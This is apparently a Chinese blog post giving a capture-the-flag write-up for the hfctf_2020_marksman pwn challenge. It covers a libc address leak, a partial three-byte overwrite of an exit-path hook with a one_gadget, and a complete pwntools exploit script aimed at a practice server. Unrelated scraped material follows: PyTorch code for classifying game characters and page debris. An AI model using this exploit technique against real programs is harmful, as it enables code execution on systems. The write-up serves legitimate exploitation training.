hfctf_2020_marksman

hfctf_2020_marksman

惯例我们先来checksec一下

保护全开的64位程序 放进ida64里看看

请添加图片描述

main函数

可以发现此处存在两个利用点

  1. 程序一开始就将puts_addr打印了出来因此我们可以不费吹灰之力的得到libc_base
  2. 我们可以修改任意地址的低三字节,而由于libc中都是6字节之内的因此这也就意味着我们可以将libc中的任意地址中的值修改为另一libc中地址的值

需要考虑到的是此程序开启了Full RELRO因此got表不可修改

因此我们考虑使用one_gadget的方法

请添加图片描述

然而当我们去查找one_gadget的时候就会发现我们所有的one_gadget都被禁用了

题目还十分诙谐的表示你不能总是期望有个金手指

请添加图片描述

请添加图片描述

看似山穷水尽了? 实际上并不是

如果你有仔细看过one_gadget的命令的话就应该知道此时给我们的知识条件最宽泛的几个gadget。只要我们执行one_gadget ./libc_name -l 1就可以显示出更多的one_gadget了

那么此时我们选择0x10a387作为我们的gadget

请添加图片描述

可能此时有师傅会有疑问 那我们got表无法使用 free和malloc这两个我们最常用的hook也没有我们应该将one_gadget写到哪里呢

我们的程序一般都是通过exit()来结束的 那么是否有exit_hook呢?答案是否定的 但是又类似功能的函数 以下是我们exit的函数调用链exit()->__run_exit_handlers->_dl_fini->__rtld_lock_unlock_recursive我们可以通过gdb调试来找到他的确切偏移

在libc-2.23中
exit_hook = libc_base+0x5f0040+3848

exit_hook = libc_base+0x5f0040+3856

在libc-2.27中

exit_hook = libc_base+0x619060+3840

exit_hook = libc_base+0x619060+3848

img

接下来我们只要将exit_hook篡改为one_gadget即可

exp:

from pwn import *

context(arch='amd64', os='linux', log_level='debug')
io = remote('node4.buuoj.cn', 26786)
elf = ELF("./hfctf_2020_marksman")


io.recvuntil('0x')
puts_addr = int(io.recv(12), 16)
print(hex(puts_addr))

libc = ELF('./libc-2.27.so')
libc_base = puts_addr - libc.sym['puts']
one_gadget_base = 0x10a387
one_gadget = one_gadget_base + libc_base
__rtld_lock_unlock_recursive_offset = 0x81df60
addr = libc_base + __rtld_lock_unlock_recursive_offset

io.sendlineafter("shoot!shoot!", str(addr))

for i in range(3):
    io.sendlineafter("biang!", chr(one_gadget & 0xff))
    one_gadget = one_gadget >> 8	#将one_gadget变量右移8位,以便获取下一个字节的值

io.interactive()

参考了z1r0师傅的 (82条消息) hfctf_2020_marksman_z1r0.的博客-CSDN博客

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
以下是用PyTorch实现英雄联盟中的角色识别的示例代码: 1. 数据预处理 ```python import torch import torchvision import torchvision.transforms as transforms # 定义数据预处理 transform = transforms.Compose( [transforms.Resize((224, 224)), transforms.ToTensor(), transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])]) # 加载数据集 trainset = torchvision.datasets.ImageFolder(root='train/', transform=transform) trainloader = torch.utils.data.DataLoader(trainset, batch_size=4, shuffle=True, num_workers=2) testset = torchvision.datasets.ImageFolder(root='test/', transform=transform) testloader = torch.utils.data.DataLoader(testset, batch_size=4, shuffle=False, num_workers=2) # 定义类别 classes = ('Assassin', 'Fighter', 'Mage', 'Marksman', 'Support', 'Tank') ``` 2. 构建模型 ```python import torch.nn as nn import torch.nn.functional as F # 定义神经网络模型 class Net(nn.Module): def __init__(self): super(Net, self).__init__() self.conv1 = nn.Conv2d(3, 6, 5) self.pool = nn.MaxPool2d(2, 2) self.conv2 = nn.Conv2d(6, 16, 5) self.fc1 = nn.Linear(16 * 53 * 53, 120) self.fc2 = nn.Linear(120, 84) self.fc3 = nn.Linear(84, 6) def forward(self, x): x = self.pool(F.relu(self.conv1(x))) x = self.pool(F.relu(self.conv2(x))) x = x.view(-1, 16 * 53 * 53) x = F.relu(self.fc1(x)) x = F.relu(self.fc2(x)) x = self.fc3(x) return x net = Net() ``` 3. 训练模型 ```python import torch.optim as optim # 定义损失函数和优化器 criterion = nn.CrossEntropyLoss() optimizer = optim.SGD(net.parameters(), lr=0.001, momentum=0.9) # 训练模型 for epoch in range(10): running_loss = 0.0 for i, data in enumerate(trainloader, 0): inputs, labels = data optimizer.zero_grad() outputs = net(inputs) loss = criterion(outputs, labels) loss.backward() optimizer.step() running_loss += loss.item() if i % 200 == 199: print('[%d, %5d] loss: %.3f' % (epoch + 1, i + 1, running_loss / 200)) running_loss = 0.0 ``` 4. 评估模型 ```python # 预测测试集结果 correct = 0 total = 0 with torch.no_grad(): for data in testloader: images, labels = data outputs = net(images) _, predicted = torch.max(outputs.data, 1) total += labels.size(0) correct += (predicted == labels).sum().item() # 计算准确率 accuracy = 100 * correct / total print('Accuracy: %d %%' % accuracy) ``` 这是一个简单的示例,实际中需要根据具体情况进行调整和优化。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值